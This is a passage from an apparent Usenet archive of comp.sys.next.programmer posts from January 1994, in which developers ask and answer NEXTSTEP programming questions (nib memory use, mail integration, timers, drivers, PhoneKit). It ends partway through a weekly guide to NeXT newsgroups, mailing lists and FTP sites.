ascii >> (like endian-ness, structure padding, alignment...). > True. > > Ditto if you used TypedStreams correctly and are aware of their >limitations. I thought you couldn't use them in this way (safely) if the data structure contained bitfields? (Have you checked the NeXT types _you're_ using?) Apologies if I got people's backs up with the last paragraph. I confess I worded it that way to stimulate a response. (Well, it worked! :-) -- Luke Kendall, Senior Software Engineer. | Net: luke@research.canon.oz.au Canon Information Systems Research Australia | Phone: +61 2 805 2982 P.O. Box 313 North Ryde, NSW, Australia 2113 | Fax: +61 2 805 2929
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: loadNibSection keeps grabbing more `New' memory Date: 28 Jan 1994 20:19:46 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2ibs12$mrn@tribune.usask.ca> Keywords: memory, loadNibSection I have written an application that gets screen dumps from a digital oscilloscope attached to a NeXTstation via a SCSI/GPIB converter box. I'm having a problem with memory usage, though. The application manages multiple `document' windows just like the MathController object in the Garfinkel/Mahoney book. That is, when the user clicks the `Shutter' button my ScreenImageController object does (just like page 283 of Garfinkel/Mahoney): if ([NXApp loadNibSection:"imagewindow.nib" owner:self withNames:NO] == nil) return nil; This sets up the MathController's newImage instance variable with the id of the newly-created ImageControl object and everything seems to work properly. My ImageControl object makes itself the delegate of the associated document window and implements the windowWillClose method just like on page 285 of Garfinkel/Mahoney: - windowWillClose:sender { [sender setDelegate:nil]; [self free]; return self; } =========================================================================== Running MallocDebug shows that I am using more and more memory -- it doesn't show up as *leaks*, but every grab/close cycle shows itself getting `New' memory. For example, here's the last few lines from MallocDebug after I've done: launch application grab scope image close document window MallocDebug MARK grab scope image close document window grab scope image close document window grab scope image close document window MallocDebug NEW Zone: Address: Size: Function: default 0x090f30f8 336 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090f3a34 336 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x09128288 336 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090b39bc 16 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090d8f10 16 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090d9164 16 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090f325c 512 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x090f3b98 512 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes default 0x091283ec 512 -[Text read:], InternalReadObject, ReadValue, NXReadArray, -[List read:], InternalReadObject, ReadValue, NXReadTypes It all works out to about 2 kbytes every time I grab a new scope image. This is a problem, since my application is part of our linear accelerator control room equipment and is supposed to run 24 hrs/day, 7 days/week when the accelerator is in operation. What am I missing here? -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
From: tpugh@oce.orst.edu (Tim Pugh) Newsgroups: comp.sys.next.programmer Subject: Re: Access Mail from Custom Application Message-ID: <2ic3ct$3mq@gaia.ucs.orst.edu> Date: 28 Jan 94 22:25:33 GMT References: <1994Jan28.153826.9309@il.us.swissbank.com> Organization: University Computing Services - Oregon State University In article <1994Jan28.153826.9309@il.us.swissbank.com> bernhard@il.us.swissbank.com (Bernhard Straub) writes: > We have developed an application that prints letters based on data held in > a database. The letter is saved in a .ps file. We are looking for a way to > invoke the Mail application, put the adresses (in the To: field) and the > subject and place the .ps file icon in the mail. > > Is there a documentation or sample code for NeXTStep 3.0 to invoke the > above actions from a custom application? Dolphin Kit contains an object Class for communicating with the Mail app and sending mail from a custom program. I've not seen or used the object yet, but plan to. For more info, send email to info@dolphin.com . It returns NeXTmail with an .ps file. - Tim - p.s. mail bounced when I used your address. ----- Transcript of session follows ----- 421 Host il.us.swissbank.com not found for mailer ddn. 550 <bernhard@il.us.swissbank.com>... Host unknown -------------------------------------------------------------- Tim Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Access Mail from Custom Application Date: 29 Jan 1994 10:21:53 -0000 Organization: me organized? That's a joke! Message-ID: <2iddc1$2hv@steffi.demon.co.uk> References: <1994Jan28.153826.9309@il.us.swissbank.com> <2ic3ct$3mq@gaia.ucs.orst.edu> Tim Pugh <tpugh@oce.orst.edu> wrote in comp.sys.next.programmer >In article <1994Jan28.153826.9309@il.us.swissbank.com> >bernhard@il.us.swissbank.com (Bernhard Straub) writes: >> We have developed an application that prints letters based on data held in >> a database. The letter is saved in a .ps file. We are looking for a way to >> invoke the Mail application, put the adresses (in the To: field) and the >> subject and place the .ps file icon in the mail. >> >> Is there a documentation or sample code for NeXTStep 3.0 to invoke the >> above actions from a custom application? > Go and take a look at MailComposerPalette available from most archive sites. It a paletted custom object which uses the speaker/listener API of Mail.app and does what you want I think. For batch mailings though, you should whip up something like Joe Freeman's JFMailer to build the NeXTMAIL message and pass it to mail or sendmail directly. If all you are doing is mailing files from within your application with no need for any user interaction with Mail.app. ie. no body text then you should attempt to do this. If you can use a command line tool via exec in your app, then perhaps Mr Freeman will grant you permission to use send_attach. So if you go in this direction your first step is to disassemble the NeXTMAIL format. There are a variety of postings about this. One from Glenn Reid earlier last year and a Mr Paris also put something useful together with perl filtering code and I believe Carl Edman included that acknowledement in his mail-app utilities set. >Dolphin Kit contains an object Class for communicating with the Mail app and >sending mail from a custom program. I've not seen or used the object yet, but >plan to. For more info, send email to info@dolphin.com . It returns NeXTmail >with an .ps file. > > - Tim - > >p.s. mail bounced when I used your address. > > ----- Transcript of session follows ----- >421 Host il.us.swissbank.com not found for mailer ddn. >550 <bernhard@il.us.swissbank.com>... Host unknown > >-------------------------------------------------------------- >Tim Pugh email: tpugh@oce.orst.edu >Oceanic and Atmospheric Sciences voice: 503-737-2270 >Oregon State University fax: 503-737-2064 >NeXTmail ok! -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jspears@weston.com (Wes Spears) Subject: Database Adaptor to Progress Message-ID: <1994Jan29.000256.7285@weston.com> Sender: jspears@weston.com (Wes Spears) Date: Sat, 29 Jan 1994 00:02:56 GMT Does anyone know of a database adaptor to Progress. Even if it was developed for a specific project, and is not commercial, that would be fine. Thanks Wes -- Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) The Weston Group (UUCP and SENDMAIL Consultation) 8524 Highway 6 North, 162, Houston, TX 77095
From: karthy@dannug.dk (Karsten Thygesen) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Seeking improved fingerd/finger code... Date: 29 Jan 1994 09:54:46 GMT Organization: Dannug - Danish NeXT Users Group Message-ID: <KARTHY.94Jan29105446@dannug.dannug.dk> References: <1994Jan28.020645.14988@iitmax.iit.edu> In-reply-to: bebeada@elof.acc.iit.edu's message of Fri, 28 Jan 94 02:06:45 GMT >>>>> "Adam" == Adam Beberg <bebeada@elof.acc.iit.edu> writes: In article <1994Jan28.020645.14988@iitmax.iit.edu> bebeada@elof.acc.iit.edu (Adam Beberg) writes: Adam> Greetings... I'm looking for source for improved versions of Adam> fingerd to provide aditional services, i.e. mail messages to the Adam> fingerie etc. I have gotten the standard bsd fingerd code but it Adam> does just about nothing... Adam> Any improvements would be appreciated, please post in Adam> comp.sys.next.programmers or mail me... Take a look at GNU finger. It has a lot of possibilities for making scripts, non-existent users, possibility to comprehend a site as a single machine, forwarding of finger requests and much more. The only disadvantage is, that it does not compile "out-of-the-box" on a NeXT, and my installation often just hangs without any reason...It has not been updated during a long period, and I'm not sure if it is still maintained at all... Best regards, Karsten -- --- Karsten Thygesen I Aalborg, Denmark karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 Chairman, Danish NeXT Users Group I Fax: +45 98 12 44 81
Newsgroups: comp.sys.next.programmer From: scott@bobsled.cen.encompass.com (Scott Shattuck) Subject: Access to sender using stack frame Message-ID: <1994Jan29.230936.4514@glv.uucp> Sender: usenet@glv.uucp Organization: Encompass Date: Sat, 29 Jan 1994 23:09:36 GMT Howdy - Is there a way to always access the sender of the message in the receiver's method implementation without requiring sender to be passed specifically in the method arguments? Is this information available in the marg_list construct and if so, how do I get access to the marg_list? Thanks, - Scott
From: se11@merhaba.cc.columbia.edu (Simon Eligulashvili) Newsgroups: comp.sys.next.programmer Subject: how to get number of columns in the text object? Date: 30 Jan 1994 01:08:16 GMT Organization: Columbia University Message-ID: <2if1a0$55p@apakabar.cc.columbia.edu> Hi, Can anyone tell how can I get the number of columns in the text object which doesn't allow multiple fonts? Should I get the size of the rectangle and then divide ist width by the character width? Thanks in advance, /Simon
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: "NeXT Registered Consultant" Date: 30 Jan 1994 02:18:16 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2if5d8$994@darkstar.UCSC.EDU> References: <1994Jan28.174807.1567@chemabs.uucp> In article <1994Jan28.174807.1567@chemabs.uucp> btf64@cas.org (Bernard T. French) writes: > This is the first mention of a development journal for the NeXT that I > have seen. Is it required to be a NeXT registered consultant to subscribe? Apparently not. There's a subscription form at the back of the journal. The subscription rate is $150 plus local sales tax ($200 including the 7% GST in Canada) for 4 quarterly issues. Contact NeXT at 800-848-NeXT or +1-415-424-8500 and press option 1. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Implementing an inactivity termination for an app Date: 30 Jan 1994 02:13:30 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2if54a$981@darkstar.UCSC.EDU> I need to implement a way to automatically terminate an app after a settable period of inactivity. Not knowing of a better way, I assumed that by subclassing Application and overriding sendEvent:, I could reset a Unix alarm on each event that was dispatched to the app. I defined an ivar of type struct itimerval to hold the inactivity time interval info. In IB, I reset the application class to my Application subclass and built the app. It crashes while unarchiving the main nib with the following (partial) gdb backtrace: (gdb) r Starting program: /Users/art/Trego/TestHarness/TestHarness.debug/TestHarness Program generated(1): Memory access exception on address 0x0 (protection failure). 0x502dd82 in classIsEqual () (gdb) where Reading in symbols for TestHarness_main.m...done. #0 0x502dd82 in classIsEqual () #1 0x50091ec in NXHashGet () #2 0x5009422 in objc_getClass () #3 0x500b6bc in NXReadClass () #4 0x500c6fa in InternalReadObject () #5 0x500ed58 in NXReadObject () #6 0x16d32 in invertField () #31 0x6028610 in loadObjectData () #32 0x6027916 in -[Application loadNibFile:owner:withNames:fromZone:] () #33 0x604229c in -[Application _loadNibSegment:section:owner:withNames:fromShlib:fromHeader:fromZone:] () #34 0x6042172 in -[Application loadNibSection:owner:withNames:] () #35 0x3cb4 in main (argc=1, argv=0x3fffafc) at TestHarness_main.m:14 However, if I make the struct itimerval ivar a static global variable (yuk!!), everything works fine. Can anyone see what I'm doing wrong? Is there some problem with having a struct itimerval ivar (it's a struct with 2 struct members, so it's not a real simple data structure)? Even making the ivar a struct itimerval * and dynamically allocating memory for the struct in the +new method fails in a similar manner, but at a slightly different point in unarchiving the main nib. Is there some better way to implement an inactivity app terminator? --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: Nitezki@NiDat.sub.org (Peter Nitezki) Subject: Re: A "separator error" in common.make? -- SOLVED Message-ID: <1994Jan29.180257.1159@nidat.sub.org> Sender: nitezki@nidat.sub.org Organization: private site of Peter Nitezki, Kraichtal, Germany References: <9401230445.AA04195@cantina.lanl.gov> Date: Sat, 29 Jan 1994 18:02:57 GMT In article <9401230445.AA04195@cantina.lanl.gov> silbar@cantina.lanl.gov (Dick Silbar) writes: > Yesterday I posted the following: > > > I have been trying to build a very simple App that > > mostly consists of things dragged in from the IB > > palette. I get the following error: > > > > Make: /NextDeveloper/Makefiles/app/common.make: Must > > be a separator on line 333. Stop. > > > > ...[munch]... > > It turns out that the reason for the error is that the directory I > created the PB.project in was named "Waist&Drift". The ampersand is the > problem. The PB accepts that, but (somehow) the Makefile does not. > Deleting the project, renaming the directory to "WaistAndDrift", and > starting over with a new PB.project cured the problem. > Sort of an inconsistency in PB! PB allows for NS-names whereas make (as a Unix utility) can only handle Unix names. As "ampersand" is a special character in Unix... This where no problem if you could infer the proper quoting of NS-Names in make scripts handeled by PB. But as this is not really straight forward there is no support for it built into PB. You have to know which name might turn out in a Unix utility someplace and restrict yourself to proper Unix names in those cases (allways using Unix names is on the safe side!). -- Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.programmer From: mckelvey@fafnir.com (James W. McKelvey) Subject: ObjC and signals Message-ID: <CKDKAp.tA@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA Date: Sat, 29 Jan 1994 04:54:24 GMT Is it safe to make an Objective-C method call in a signal handler? The docs are silent on this issue as far as I can tell. Obviously you shouldn't call an instance that might have been interrupted, etc. etc. It IS safe to do so with StepStone Objective-C. They set a flag when the method caches are accessed, and if a signal/AST/whatever has interrupted and then made a method call, the caches are bypassed. This makes the signal calls possibly slower, but preserves the integrity of the caches. But what about the NeXT? Does anyone have any hard information? Jim McKelvey mckelvey@fafnir.com -- What I did must have been right, or an angel would have stopped me, just as the angel stopped Abraham in the Bible. -- Albert Fish, the cannibal Jim McKelvey mckelvey@fafnir.com
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Implementing an inactivity termination for an app Date: 30 Jan 1994 07:38:18 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2ifo5a$ffi@darkstar.UCSC.EDU> References: <2if54a$981@darkstar.UCSC.EDU> In article <2if54a$981@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > I need to implement a way to automatically terminate an app after a > settable period of inactivity. Not knowing of a better way, I assumed > that by subclassing Application and overriding sendEvent:, I could reset a > Unix alarm on each event that was dispatched to the app. I defined an > ivar of type struct itimerval to hold the inactivity time interval info. > In IB, I reset the application class to my Application subclass and > built the app. It crashes while unarchiving the main nib with the > following (partial) gdb backtrace: I don't know why I was getting the unarchiving error, but I was grovelling down too low using signal() and setitimer() :-) perform:with:afterDelay:cancelPrevious: and DPSAddTimedEntry() are your friends. I now have an inactivity terminator that opens an Alert panel and beeps once per second after a settable inactivity period and then terminates the app if no one cancels the pending app death from the Alert panel. For some reason, Application's stop: doesn't take the app all the way out until one last event (like a mouse click) is received. I don't want to use terminate: because appWillTerminate: might get in the way. But exit() does the job cleanly. Maybe I need to add an exploding Alert panel with full sound effects :-) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: "Kharim Hogan" <kharim@cs.indiana.edu> Subject: Dynamic/Scolling Matrices Message-ID: <1994Jan30.151028.10008@news.cs.indiana.edu> Organization: Computer Science, Indiana University Date: Sun, 30 Jan 1994 15:10:21 -0500 Hi, Does anybody know how to implement a dynamically growing matrix? What I'd like to do is have a matrix of text cells of a predetermined size which starts up with my application. The number of parameters in both the X and Y direction that the user enters is never the same. They have to enter 4 numbers in the X direction but can enter any number of parameters greater than 4 and the size of the matrix in the Y direction has to be unlimited. Hence it has to be a minimum of a 4xN matrix which can't be known beforehand. I'd like to specify a 'starting' matrix that will start to scroll in the X direction (out to the right) if the user 'tabs' beyond the last cell (column) and creates a new row if the user hits 'return' beyond the last given row. As well, I'd like this to happen as a scroll window rather than actually see the complete matrix once done. Can anyone help me? I'm still a novice with NeXTStep programming so if you can either point to the right docs or provide examples of code to do this, this would be greatly appreciated. Thanks much, Kharim Hogan kharim@cs.indiana.edu --
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: How is the vertical refresh rate accessed programatically? Date: 30 Jan 1994 21:10:12 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2ih7nk$rj9@darkstar.UCSC.EDU> To be able to convert the event record time to real time, the vertical refresh rate is needed. How can this be obtained programmatically? Thanks. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Categorizing Categories Date: 30 Jan 1994 23:25:26 -0000 Organization: me organized? That's a joke! Message-ID: <2ihfl6$2nf@steffi.demon.co.uk> I have a number of Categories of AppKit objects and I'm thinking how I should go about classifying them. Currently each category is a separate file, all exist within the same directory /LocalDeveloper/Categories. Well, earlier this month I mentioned that PB didn't support links and Michael at AFS voiced his concerns about using Links for achieving source reuse. I agree with his sentiments, I'm not so sure wether I want to commit myself to the PB hack though to support libraries. So, what is the best way to reuse/organise categories? A couple of thoughts. A directory for each class in the AppKit and possibly build a library for each set of categories belonging to the same AppKit class. So do you have any ideas on the most effective way to organise categories. I guess what I really asking is what is the most suitable level of granularity for reuse. ie. all categories in the one library or multiple libraries, depending on how I classify the categories. Any other issues? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: catsmeat@netcom.com (Peter Thompson) Subject: Driverkit woes Message-ID: <catsmeatCKGwJ2.7zF@netcom.com> Summary: Worked in 3.1, fails in 3.2 Keywords: Conversion Driverkit Broken Sigh Organization: Relax, Don't Worry, Have a Homebrew! Date: Mon, 31 Jan 1994 00:11:26 GMT Help! My driver worked in 3.1, and now does this bonehead behaviour. I sure hope that I'm doing something dumb...otherwise I'll have to start from scratch. Yech. I'm using the PB, just as the example does (from NextLibrary). I checked the Makefile.*, and they are the same for my DIO driver as they are for myTestDriver. Any hints or suggestions gladly accepted. Flames to /dev/null. Enclosed is a snippit from the /usr/adm/messages file: (date and time removed for readability) scruz_main mach: class `DIOVersion' not linked into application<3> scruz_main mach: WARNING: driver DIO uses incompatible DriverKit version 310 scruz_main mach: Driver DIO not configured scruz_main su: SU to root by peter on /dev/ttyp1 scruz_main mach: myTestDriver: interrupt 2 channel 1 scruz_main mach: Registering: myTestDriver0 scruz_main su: SU to root by peter on /dev/ttyp1 Thanks in advance for any help on this... Peter Thompson.
From: hal@alfred.econ.lsa.umich.edu (Hal Varian) Newsgroups: comp.sys.next.programmer Subject: how do you run distill.ps on the NeXT Date: 31 Jan 1994 00:37:30 GMT Organization: University of Michigan Sender: Hal.Varian@umich.edu Distribution: world Message-ID: <2ihjsa$4ek@controversy.math.lsa.umich.edu> Glen Reid wrote a neat little PostScript program called distill that reads in a PostScript file, cleans it up, and then writes out a new shorter, and more efficient PostScript file. (Or so the documentation says---but, since Glenn wrote it, I'm willing to believe it's all true.) However, the documentation seems to assume a command line PostScript interpreter. How does one run distill on the NeXT? -- Hal.Varian@umich.edu Hal Varian voice: 313-764-2364 Dept of Economics fax: 313-764-2364 Univ of Michigan Ann Arbor, MI 48109-1220
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer Subject: nxzonemallocnolock probs Date: 30 Jan 1994 16:57:00 -0800 Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest] Distribution: world Message-ID: <2ihl0s$ceq@crl.crl.com> Ick. I'm malloc'ing off a lot of memory and rapidly destroying it again. Sometimes, in this process, I get crashes at unpredictable points, with the following partial traceback: #0 0x500f5e8 in nxzonemallocnolock () #1 0x500be70 in nxzonemalloc () #2 0x500bdec in _class_createInstanceFromZone () #3 0x5030e90 in + [Object alloc] [...] This is all done in a since thread. The problem is not limited to the creation of objects; it will sometimes crash on regular malloc'ing as well. Anyone have any insight on what the heck could be happening? -- Don McGregor | "If you're so special, why aren't you dead?" mcgredo@crl.com |
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: PhoneKit help needed. Message-ID: <CKH4GB.1v6@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2i67cd$fub@hahn.informatik.hu-berlin.de> <1994Jan28.004219.16655@hot.com> Date: Mon, 31 Jan 1994 02:58:39 GMT Real close, I use it occasionally on 3.2 and I have the kernel driver loaded on boot. The file is /etc/kern_loader.conf and should contain the lines that point to the loadables that live in /usr/lib/kern_loader/Phone. It might be wise to have these loaded on your disk too. peter Robert La Ferla (Robert_La_Ferla@hot.com) wrote: : While I'm not 100% sure since I don't have ready access to 3.0, it : sounds like some kernel server is not running. Look at /etc/rc in : 3.0 to see what gets loaded in when the system boots. i.e. search : for any kl_util or PhoneServer commands. : Robert La Ferla : Hot Technologies : NEXTSTEP ISV and Consulting : In article <2i67cd$fub@hahn.informatik.hu-berlin.de> : balfanz@zorro.informatik.hu-berlin.de (Dirk Balfanz) writes: : > As PhoneKit has gone away in 3.1 I tried to bring it back to life. : So I : > took my 3.0 CD and copied the following files to my hard disk: : > : > /usr/lib/libphone_p.a : > /usr/lib/libphone_s.a : > /usr/shlib/libphone_s.A.shlib : > /usr/lib/phone/PhoneServer : > /NextDeveloper/Headers/phonekit/* : > : > Is this all there is to it? I'm asking because my little program : refuses : > to work: : > : > : --------------------------------------------------------------------- : --- : > #import<phonekit/NXPhone.h> : > #import"MyCall.h" : > #import"MyChannel.h" : > : > : > main() { : > id thePhone = [[NXPhone alloc] initType: NX_POTSDevice]; : > id theChannel = [[MyPhoneChannel alloc] initType: : NX_POTSChannel]; : > id theCall = [[MyPhoneCall alloc] initType: NX_VoiceCall]; : > : > [theChannel addCall: theCall]; : > [thePhone addChannel: theChannel]; : > [thePhone acquireChannel: theChannel]; : > : > [theCall pickUp]; : > [thePhone run]; : > } : > : --------------------------------------------------------------------- : --- : > : > The only thing actually to be done is: : > : > : --------------------------------------------------------------------- : --- : > .. : > @implementation MyPhoneCall : > .. : > - (void)dialToneReceived { printf("Dialtone Received!!!\n"); } : > .. : > : --------------------------------------------------------------------- : --- : > : > It compiles fine but, when executed, gives only: : > 'Couldn't get kernel_task: failure(5)' : > : > The Console says: : > : > 'Can't load isdn server : > NXPhone: Unable to establish connection : > couldn't find parameter port' : > : > It's the first time I try to play around with PhoneKit. What am I : missing : > here? Is it release 3.1 that makes it impossible or didn't I : understand : > how to write PhoneKit apps. Or maybe I just failed to restore the : stuff? : > : > Can somebody help me out in my despair? : > : > Thanks in advance. : > Dirk. -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peter.a.eisch@uwrf.edu
From: sbender@access1.digex.net (Scott Bender) Newsgroups: comp.sys.next.programmer Subject: Communicating to sound driver. How? Date: 30 Jan 1994 22:15:05 -0500 Organization: Harmony Data Systems Message-ID: <2iht3p$sl2@access1.digex.net> I have made modifications to the ProAudioSpectrum driver to add the ability to change certain setting on the PAS card, like balance, loudness, etc. I have also written an application that has a user interface to these setting. What I can't figure out is how to communicate from the userinterface to the driver. It must be possible, becasue the Preference app can change the volume, and Sound.app can play and record sounds, but How? Any clues, or seen and samples? Thanks, ------------------------------------------------------------------------------ Scott Bender | E-Mail: sbender@Mountain.Net, Harmony Data Systems | 76057.653@compuserve.com or 2141 Wisconsin Ave NW Unit 504 | sbender@access.digex.net Washington, DC 20007 | (NeXT-Mail Accepted) Voice & Fax: 202-342-1214 | | "The stars are matter - We are matter - But it doesn't matter" - Don Van Vleit ------------------------------------------------------------------------------
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 30 Jan 1994 22:27:59 -0500 Organization: Next Announcements Message-ID: <2ihtrv$ihb@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH 